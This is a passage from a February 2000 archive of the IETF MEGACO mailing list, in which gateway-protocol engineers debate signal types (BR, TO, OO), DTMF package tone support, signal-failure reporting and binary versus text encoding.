Basically, I suppose I continue to feel that the default for all signals
should be interruptable and that  Keepactive be used to override that
behavior.

TO+KeepActive comes close to BR, but they are not identical. The main distinction
is that KeepActive is an event parameter, where as signal type is a property
of a signal. Whether that's enough of a difference to warrant inclusion
or not is a matter of taste I guess. Personally, I think it is, and I certainly
don't see it doing any harm.

OO signals on the other hand are an entirely different class of signals
and there really is a need for this kind of semantic behavior, i.e. something
that stays on without being interrupted by events and new SignalsDescriptor.
While you can come close to mimicing this by suitable use of KeepActive
and continued inclusion in every single subsequent SignalsDescriptors until
you want it turned off, I think this is overly cumbersome and too prone
to error. Semantically, again, it's not identical though since signal type
is a "property" of a signal where as KeepActive is a parameter to an event.
Consequently, I feel rather strongly about keeping OO the way Tom specified
it.

 

Unfortunately, I don't have time to respond with my objections more
fully at this moment as I'm leaving shortly for the ITU meeting. When I
arrive in Geneva, I will follow up with my other concerns and examples.

Michael

 

 

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

OK, let's sum
up, not that I'm confident that this will fly yet.  I'd like to see
the reaction of a couple of other vocal parties -- say Michael Brown and
Christian Groves.

We have three
signal types with distinct roles:

  BR has
a timer but is not interrupted by events.  It is interrupted by signal
descriptor replacement.

  TO is
the most interruptible: timer, events, signal descriptors.

  OO is
the most persistent: interrupted by signal descriptors with explicit "Off"
syntax only.

I assume we
allow over-riding of default signal type in any given instance of playout.

The list is an
interesting problem.  I think I have an answer to turning an OO list
off, but now we also have to define behaviour in response to events. 
We might consider the following rules:

 -- the
type of the list is set explicitly -- every signal on the list with the
possible exception of the last one must be either BR or TO, in order to
have an assigned duration

 -- if the
last event is OO, the list must be OO and vice versa

 -- the
type of the list, not the type of the signals making it up, determines
the conditions under which playout of the list ceases

 -- the
list times out if it is not OO and all of the signals on it have played
out, each in turn to its full duration.

    -----Original Message-----

    From:  Flemming Andreasen
[SMTP:fandreasen@WORLDNET.ATT.NET]

    Sent:  Friday, February
04, 2000 5:38 PM

    To:    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:      
Re: Cisco SG16: Signals Operation

    Maybe, but according to Brian's first "no-op" rule,
it must be broken in order to get fixed :-)

    Regarding dial-tone, I don't see the issue. What
you have is three different signal types and three different semantics.
Each has it's own time and place. In the case of dial-tone, TimeOut happens
to be the one, not Brief.

    -- Flemming

     

    "Rosen, Brian" wrote:

       Let's
see:    Events stop signals except:       
When KeepActive is set        If the
signal is BR        If the signal is
OONet result - events stop signals only when TO and not KeepActive.Maybe
we should have a "StopSignal", rather than a KeepActiveMaybe it happens
so seldom that we use an embedded signals to do it.Also note that by saying
BR doesn't stop for events, you twist the solution tofirst digit stops
dialtone to a new level.Brian

        -----Original Message-----

        From: Flemming Andreasen [<mailto:fandreasen@WORLDNET.ATT.NET>]

        Sent: Friday, February 04,
2000 4:55 PM

        To: MEGACO@standards.nortelnetworks.com

        Subject: Re: Cisco SG16: Signals
Operation

        Hi Tom

        OO signals should not be interrupted by an event,
only the explicit "Off" syntax should have this effect (otherwise we are
back to TO signals with indefinite duration, and semantically there's good
use for something that stays active until explicitly told otherwise, e.g.
consider message waiting indicator)

        Regards

                Flemming

        Tom-PT Taylor wrote:

           

          Digging through
the accumulated mass of indented text and comments, I think I see two parties
agreeing on the following points.  Unfortunately experience tells
me that as soon as we introduce a third party the agreements will vanish,
but I'll record them here just in case a miracle happens.

          1) BR signals
have the following characteristics: duration is assumed to be known to
the MG without explicit MGC input.  Brian wants the ability to override
duration, and I have no quarrel with that -- the only question is the exact
mechanism.  The second characteristic is that a BR signal is not terminated
by the detection of an event.  (But BR signals are still terminated
by replacement of the Signals descriptor??  Any objections here?)

          2) TO signals
seem to be fairly well understood.

          3) OO signals
have the following characteristics: they remain on until interrupted by
detection of an event, or receipt of a Signals descriptor with explicit
Off syntax.  Brian's keyword syntax is probably acceptable. 
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?

          4) Brian's proposals
for completion events probably work for Chip and they work for me. 
To summarize: the current notifyCompletion parameter remains but its significance
changes: it is a selector (Boolean, default FALSE) and does not actually
arm reporting.  There is a signal completion event which reports on
the completion of any signal so flagged, with the identity of the signal
as a reporting parameter.  QUESTION: should KeepActive default to
TRUE for this event?  In any case, the signal completion event is
invoked in the usual way, through an events descriptor.

          Open issue: signal
failures.  The need for reports of such failures is real -- they do
happen from time to time.  They happen autonomously, which means we
either have to have an error method (ServiceChange ?) or an event to report
them.  The key issue is whether you would need to know about ANY failure
or only those of selected signals.
        

      

    








Regards

            Flemming

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------0FC9AC95CF57B1E05729A410--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 10:40:14 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12945
	for ; Mon, 7 Feb 2000 10:40:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.18753090@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:35:47 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28897 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 10:33:47 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6B0D8430@standards.nortelnetworks.com>; Mon, 7 Feb 2000
          10:23:47 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 09:25:39 -0600
Received: from zcard015.ca.nortel.com by zmers013; Mon, 7 Feb 2000 10:25:23
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG70P; Mon, 7 Feb 2000 10:25:22
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.137]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CNW5; Mon, 7 Feb 2000 10:25:20
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <29400B68197CD31188830000F8CD15D343BC08@zcard00q.ca.nortel.com>
Content-Type: multipart/alternative;
              boundary="------------E35449A68C60DFF7FAABC699"
Message-ID:  <389EE454.5D10300B@nortelnetworks.com>
Date:         Mon, 7 Feb 2000 10:27:16 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Cisco SG16: Annex E comments
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------E35449A68C60DFF7FAABC699
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Just to toss in a view from the large res line GW side of the issue, I
also have no problem with making dA-dD a mandatory part of both
generation and detection. The Res Line GW needs them for support of ADSI
services. It's hard to imagine that there are DTMF detection devices
which don't support all of DTMF based on cost.

Michael

"Blatherwick, Peter (P.) [EXCHANGE:CAR:AT14]" wrote:

>
>
> Actually, we're talking about E.6 here, DTMF Detection Package, aren't
> we?  (Not E.4)
>
> While I certainly agree with the general all-or-nothing approach in
> packages, this must always be balanced with not burdening low cost
> devices if at all possible.  In this case though, I expect virtually
> all real life implementations would be DSP based or equivalent, so
> there is no cost difference to support the full range of tones.
> Therefore, I support single DTMF detection package with da-dd support
> mandatory.
>
> I should point out though that this is not the same logic that led to
> the current text as we worked it through at Red Bank.  If I remember
> correctly (adjust time-frame to 03:00 or so ;-), we reasoned that
> actual application use of da-dd is quite uncommon, and if the MGC
> really needed da-dd, it could audit to figure out if its supported by
> doing AuditCap(ObservedEvents).  We therefore opted to make this range
> optional, to not burdening all for the needs of few and not creating
> extra packages.
>
> I prefer the mandatory solution, since I think its cleaner, but if
> there's any objection at all on cost basis then we should revert to
> keeping it optional as it is now, following Red Bank logic.  I'm ok
> with either really, but would not favour creation of an extra package.
>
> NOTE: A very similar issue arises in E.5, Basic DTMF Generator
> Package, but nothing is said about optional tones.  This may be a
> mistake, since I think the original intent was to use the same
> approach here.  Whichever way the decision on E.6 goes, E.5 should be
> the same.  Following the same logic as above, we should simplify and
> make da-dd mandatory in E.5 as well (ie no change from the way it is
> now).  Again, i'm ok with either.
>
> Another tiny nit on these: E.6 title should be "Basic DTMF Detection
> Package", to line up with E.5.
>
> BTW, in general IP Phone would not use Tone Detect, but Res GWs
> certainly would.  Both would use Tone Generate.
>
> -- Peter
>
>
>      -----Original Message-----
>      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>      Sent:   3 Feb, 2000 09:07
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Cisco SG16: Annex E comments
>
>      I'm okay with making da-dd mandatory.  I suppose it's a
>      residential GW and/or IPPhone that might care.
>      The packetcable stuff makes it mandatory, right?  Any reaction
>      from the IPPhone folks?
>
>      Brian
>           -----Original Message-----
>           From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
>           Sent: Wednesday, February 02, 2000 3:18 PM
>           To: MEGACO@standards.nortelnetworks.com
>           Subject: Re: Cisco SG16: Annex E comments
>
>
>           Another issue, which has been discussed.  The package is
>           broken as it stands -- the MGC cannot tell whether the da-dd
>           events are supported.  We have three alternatives: the two
>           Chip proposes, or keep things as they are and add a global
>           read-only property which indicates whether da-dd are
>           supported.  I favour making support of da-dd mandatory, on
>           the ground that the phone types served by the MG are
>           independent of the MG itself.
>
>                   -----Original Message-----
>           From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
>           Sent:   Tuesday, January 25, 2000 8:18 PM
>           [[TomT]]  snip
>           Section:        E.4
>           Category:       Technical
>           Issue:          The draft text specifies that "Support of
>           dA-dD is optional".
>           Having optional events in a package tends to defeat the
>           purpose of packages
>           in the first place.
>           Proposal:       It is recommended that either support for
>           the signals become
>           mandatory or they are provided in a separate package.
>
>                   v13 Status:     OPEN. No relevant text changed.
>
>

--------------E35449A68C60DFF7FAABC699
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Just to toss in a view from the large res line GW side of the issue, I
also have no problem with making dA-dD a mandatory part of both generation
and detection. The Res Line GW needs them for support of ADSI services.
It's hard to imagine that there are DTMF detection devices which don't
support all of DTMF based on cost.

Michael

"Blatherwick, Peter (P.) [EXCHANGE:CAR:AT14]" wrote:

 

Actually, we're
talking about E.6 here, DTMF Detection Package, aren't we?  (Not E.4)

While I certainly
agree with the general all-or-nothing approach in packages, this must always
be balanced with not burdening low cost devices if at all possible. 
In this case though, I expect virtually all real life implementations would
be DSP based or equivalent, so there is no cost difference to support the
full range of tones.  Therefore, I support single DTMF detection package
with da-dd support mandatory.

I should point
out though that this is not the same logic that led to the current text
as we worked it through at Red Bank.  If I remember correctly (adjust
time-frame to 03:00 or so ;-), we reasoned that actual application use
of da-dd is quite uncommon, and if the MGC really needed da-dd, it could
audit to figure out if its supported by doing AuditCap(ObservedEvents). 
We therefore opted to make this range optional, to not burdening all for
the needs of few and not creating extra packages.

I prefer the
mandatory solution, since I think its cleaner, but if there's any objection
at all on cost basis then we should revert to keeping it optional as it
is now, following Red Bank logic.  I'm ok with either really, but
would not favour creation of an extra package.

NOTE: A very
similar issue arises in E.5, Basic DTMF Generator Package, but nothing
is said about optional tones.  This may be a mistake, since I think
the original intent was to use the same approach here.  Whichever
way the decision on E.6 goes, E.5 should be the same. 
Following the same logic as above, we
should simplify and make da-dd mandatory in E.5 as well (ie no change from
the way it is now).  Again, i'm ok with either.

Another tiny
nit on these: E.6 title should be "Basic DTMF Detection Package",
to line up with E.5.

BTW, in general
IP Phone would not use Tone Detect, but Res GWs certainly would. 
Both would use Tone Generate.

-- Peter

 

    -----Original Message-----

    From:  
Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:  
3 Feb, 2000 09:07

    To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
Re: Cisco SG16: Annex E comments

    I'm okay with
making da-dd mandatory.  I suppose it's a residential GW and/or IPPhone
that might care.

    The packetcable
stuff makes it mandatory, right?  Any reaction from the IPPhone folks?

    Brian

      -----Original Message-----

      From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]

      Sent: Wednesday, February
02, 2000 3:18 PM

      To: MEGACO@standards.nortelnetworks.com

      Subject: Re: Cisco SG16: Annex
E comments

       

      Another issue,
which has been discussed.  The package is broken as it stands -- the
MGC cannot tell whether the da-dd events are supported.  We have three
alternatives: the two Chip proposes, or keep things as they are and add
a global read-only property which indicates whether da-dd are supported. 
I favour making support of da-dd mandatory, on the ground that the phone
types served by the MG are independent of the MG itself.

              -----Original
Message-----

      From:   Chip
Sharp [SMTP:chsharp@CISCO.COM]

      Sent:   Tuesday,
January 25, 2000 8:18 PM

      [[TomT]] 
snip

      Section:       
E.4

      Category:      
Technical

      Issue:         
The draft text specifies that "Support of dA-dD is optional".

      Having optional events in a package
tends to defeat the purpose of packages

      in the first place.

      Proposal:      
It is recommended that either support for the signals become

      mandatory or they are provided in
a separate package.

              v13
Status:     OPEN. No relevant text changed.

       
    






--------------E35449A68C60DFF7FAABC699--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 11:03:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13494
	for ; Mon, 7 Feb 2000 11:03:04 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.769ED7E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 10:59:54 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29042 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 10:59:15 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F9EEC9E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000
          10:49:15 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 09:51:01 -0600
Received: from zcard015.ca.nortel.com by zmers013; Mon, 7 Feb 2000 10:50:48
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG8DL; Mon, 7 Feb 2000 10:50:48
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.137]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CNY7; Mon, 7 Feb 2000 10:50:47
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------F0FE74FB9DC999D97CE337A4"
Message-ID:  <389EEA4A.86B56383@nortelnetworks.com>
Date:         Mon, 7 Feb 2000 10:52:43 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Meaning Of BR Signal Type
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------F0FE74FB9DC999D97CE337A4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

While it would work, I don't particularly like the idea of making the
long tone digit a TO signal . The problem is that the current
definitions in E.3.3 and E.5.3 seems to show provisioned not as the
default but as the only choice for BR duration. I would prefer we allow
for specifying a duration as an override to provisioning in the text in
7.1.11 .

Also, I just noticed that the duration was changed from milliseconds to
hundredths. I guess I missed the discussion, but don't understand why
that was done.

Michael

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

>
>
> It's a point of view.  If you want to change the DTMF digit into a
> long tone, you also override the type by setting it to TO.  This
> certainly isn't a crucial issue, but in my mind at least it would
> increase the justification for distinguishing BR from TO.
>
>      -----Original Message-----
>      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>      Sent:   Tuesday, February 01, 2000 6:47 PM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Meaning Of BR Signal Type
>
>      I don't agree with this.  Every signal has a duration, and the
>      DEFAULT may
>      be
>      provisioned, but it can be overridden.  The MGC should be able to
>      override
>      the
>      default.  Certainly something like a DTMF digit has to be able to
>      be
>      overridden to generate a "long tone" for example.
>
>      I'd accept that some MGs may not be able to do this, but I expect
>      that won't
>      be much of a problem.
>
>      Brian
>
>      > -----Original Message-----
>      > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
>      > Sent: Tuesday, February 01, 2000 2:31 PM
>      > To: MEGACO@standards.nortelnetworks.com
>      > Subject: Meaning Of BR Signal Type
>      >
>      >
>      > This one has been flogged nearly to death, but from recent
>      > discussions I
>      > think we have the following understanding of the BR signal
>      type.
>      >
>      > BR: the duration is known to the MG (either by provisioning
>      > or by design).
>      > The MGC must not specify a duration.
>      >
>      > I would propose that this definition replace the current text
>      > in section
>      > 7.1.11.
>      >
>      >
>      > Tom Taylor
>      > Advisor -- IPConnect Standards
>      > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
>      > Phone and FAX: +1 613 736 0961
>      >
>

--------------F0FE74FB9DC999D97CE337A4
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



While it would work, I don't particularly like the idea of making the long
tone digit a TO signal . The problem is that the current definitions in
E.3.3 and E.5.3 seems to show provisioned not as the default but as the
only choice for BR duration. I would prefer we allow for specifying a duration
as an override to provisioning in the text in 7.1.11 .

Also, I just noticed that the duration was changed from milliseconds
to hundredths. I guess I missed the discussion, but don't understand why
that was done.

Michael

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

It's a point
of view.  If you want to change the DTMF digit into a long tone, you
also override the type by setting it to TO.  This certainly isn't
a crucial issue, but in my mind at least it would increase the justification
for distinguishing BR from TO.

    -----Original Message-----

    From:  
Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:  
Tuesday, February 01, 2000 6:47 PM

    To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
Re: Meaning Of BR Signal Type

    I don't agree with this.  Every
signal has a duration, and the DEFAULT may

    be

    provisioned, but it can be overridden. 
The MGC should be able to override

    the

    default.  Certainly something
like a DTMF digit has to be able to be

    overridden to generate a "long tone"
for example.

    I'd accept that some MGs may not be
able to do this, but I expect that won't

    be much of a problem.

    Brian

    > -----Original Message-----

    > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]

    > Sent: Tuesday, February 01, 2000
2:31 PM

    > To: MEGACO@standards.nortelnetworks.com

    > Subject: Meaning Of BR Signal Type

    >

    >

    > This one has been flogged nearly
to death, but from recent

    > discussions I

    > think we have the following understanding
of the BR signal type.

    >

    > BR: the duration is known to the
MG (either by provisioning

    > or by design).

    > The MGC must not specify a duration.

    >

    > I would propose that this definition
replace the current text

    > in section

    > 7.1.11.

    >

    >

    > Tom Taylor

    > Advisor -- IPConnect Standards

    > E-mail: taylor@nortelnetworks.com
(internally, Tom-PT Taylor)

    > Phone and FAX: +1 613 736 0961

    >





--------------F0FE74FB9DC999D97CE337A4--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 11:25:08 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14123
	for ; Mon, 7 Feb 2000 11:25:06 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8FAB5210@standards.nortelnetworks.com>; Mon, 7 Feb 2000 11:22:04 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29176 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 11:20:13 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.E7FB9350@standards.nortelnetworks.com>; Mon, 7 Feb 2000
          11:10:13 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 10:11:43 -0600
Received: from zcard015.ca.nortel.com by zmers013; Mon, 7 Feb 2000 11:11:31
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG8G7; Mon, 7 Feb 2000 11:11:30
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.137]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CN6C; Mon, 7 Feb 2000 11:11:30
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088B7@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389EEF25.80F1E821@nortelnetworks.com>
Date:         Mon, 7 Feb 2000 11:13:25 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Signalling Failure
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Or maybe we use FT or FP (as appropriate) and expand the failurecause to
allow other than Release Cause to include the signal information.

Michael

"Rosen, Brian" wrote:

> Agreed.
>
> We define a General Cause:
>         SF - Signal Failure (0x0007)
>
> And we allow Failure Cause to have the name of the signal.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]
> > Sent: Monday, February 07, 2000 9:51 AM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Re: Signalling Failure
> >
> >
> > Yes, such an approach seems reasonable. However, the general
> > failure event
> > (Cause in Generic I presume) then needs to be expanded a little. More
> > specifically, you must be able to specify that:
> > 1. You had a signal failure
> > 2. Which signal actually failed
> >
> > -- Flemming
> >
> >
> > Michael Brown wrote:
> >
> > > I agree with this approach. It has the capability to be as
> > specific as
> > > needed with the failure cause parameter and as Brian points
> > out, it is
> > > always available for all packages.
> > >
> > > Michael
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > I'd rather see failure with the general failure event.
> > > > I don't like exceptions.  The general failure event is there
> > > > for just this kind of thing - an asynchronous failure.
> > > > It has no catches, it's there when you want it.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > > > Sent: Friday, February 04, 2000 7:13 PM
> > > > > To: Brian Rosen; Flemming Andreasen;
> > > > > megaco@standards.nortelnetworks.com
> > > > > Subject: Signalling Failure
> > > > >
> > > > >
> > > > > I've solved the signalling failure problem, maybe.  I add a
> > > > > parameter to the
> > > > > signal completion event indicating how the signal was
> > > > > terminated: timeout,
> > > > > event, new signal descriptor, or failure.  The catch is that
> > > > > failures are
> > > > > only reported for events for which notifyCompletion is TRUE.
> > > > >
> > > > > Tom Taylor
> > > > > Advisor -- Emerging Carrier IP Standards
> > > > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> > > > > Phone and FAX: +1 613 736 0961
> > > > >
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 11:43:36 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14704
	for ; Mon, 7 Feb 2000 11:43:35 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.198726B0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 11:40:14 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29309 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 11:39:13 -0500
Received: from drawbridge.ascend.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.F4FB87A0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 11:39:13
          -0500
Received: from fw-ext.ascend.com (fw-ext [198.4.92.5]) by drawbridge.ascend.com
          (8.9.1a/8.9.1) with SMTP id IAA18349; Mon, 7 Feb 2000 08:35:20 -0800
          (PST)
Received: from russet.ascend.com by fw-ext.ascend.com via smtpd (for
          drawbridge.ascend.com [198.4.92.1]) with SMTP; 7 Feb 2000 16:41:32 UT
Received: from porky (porky.ascend.com [192.207.23.83]) by russet.ascend.com
          (8.9.1a/8.9.1) with ESMTP id IAA22892; Mon, 7 Feb 2000 08:41:32 -0800
          (PST)
Received: from ascend.com by ascend.com
X-Sender: mhold@porky
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000207083701.00abdc20@porky>
Date:         Mon, 7 Feb 2000 08:40:40 -0800
Reply-To: Matt Holdrege 
Sender: "Media Gateway Control (megaco)"
              
From: Matt Holdrege 
Subject:      Re: About Megaco Message Parser
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF2088AC@whq-msgusr-02.fore. com>

At 09:29 AM 2/7/00 -0500, Rosen, Brian wrote:
> > Do we need to do both binary and text encoding of the protocol.
>No, you need text, binary is optional.  A PERSONAL opinion, sure to
>be scorned by some, is that binary will never make it in this protocol.  The
>really interesting thing is that, given one text and
>one binary implementation, and some example messages, we can put
>the size/efficiency argument to rest, as long as you don't care
>about the last couple percent (for which we can endlessly argue
>about implementation quality!)

Please don't mix personal versus "official" comments. The MGC MUST do both
binary and text per your agreement as captured by the meeting minutes and
published so. An MG may do either.

In the real world, some vendors of MG's will implement binary and some
text. Some vendors will likely do both. Binary for carrier class platforms
and text for SOHO. So it would behoove universal MGC's to support both.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 12:12:18 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15638
	for ; Mon, 7 Feb 2000 12:12:17 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2AC89540@standards.nortelnetworks.com>; Mon, 7 Feb 2000 12:09:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29397 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 12:08:46 -0500
Received: from drawbridge.ascend.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.15DDA9E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 12:08:46
          -0500
Received: from fw-ext.ascend.com (fw-ext [198.4.92.5]) by drawbridge.ascend.com
          (8.9.1a/8.9.1) with SMTP id JAA22662; Mon, 7 Feb 2000 09:04:43 -0800
          (PST)
Received: from russet.ascend.com by fw-ext.ascend.com via smtpd (for
          drawbridge.ascend.com [198.4.92.1]) with SMTP; 7 Feb 2000 17:10:56 UT
Received: from porky (porky.ascend.com [192.207.23.83]) by russet.ascend.com
          (8.9.1a/8.9.1) with ESMTP id JAA02424; Mon, 7 Feb 2000 09:10:56 -0800
          (PST)
Received: from ascend.com by ascend.com
X-Sender: mhold@porky
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000207090545.00ad76a0@porky>
Date:         Mon, 7 Feb 2000 09:10:00 -0800
Reply-To: Matt Holdrege 
Sender: "Media Gateway Control (megaco)"
              
From: Matt Holdrege 
Subject:      Re: About Megaco Message Parser
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF2088BC@whq-msgusr-02.fore. com>

At 12:03 PM 2/7/00 -0500, Rosen, Brian wrote:

> > Please don't mix personal versus "official" comments. The MGC
> > MUST do both
> > binary and text per your agreement as captured by the meeting
> > minutes and
> > published so. An MG may do either.
>I labeled my comments as "Personal".  The document says that
>MGCs SHOULD implement binary, not MUST.  That is the agreement,
>and it has been that way since binary was in.

Wrong. Please go back and read the minutes at
http://www.ietf.org/proceedings/99jul/index.html


> >
> > In the real world, some vendors of MG's will implement binary
> > and some
> > text. Some vendors will likely do both. Binary for carrier
> > class platforms
> > and text for SOHO. So it would behoove universal MGC's to
> > support both.
>That would be your opinion.  Mine would be that once we discover
>that binary gets you nothing, binary will wither, even for
>"carrier class" platforms.  Although an MGC may need the ASN.1
>tools, an MG, even the biggest trunk gateway, won't (I can think
>of one reason why they would - some of us think CAS should be
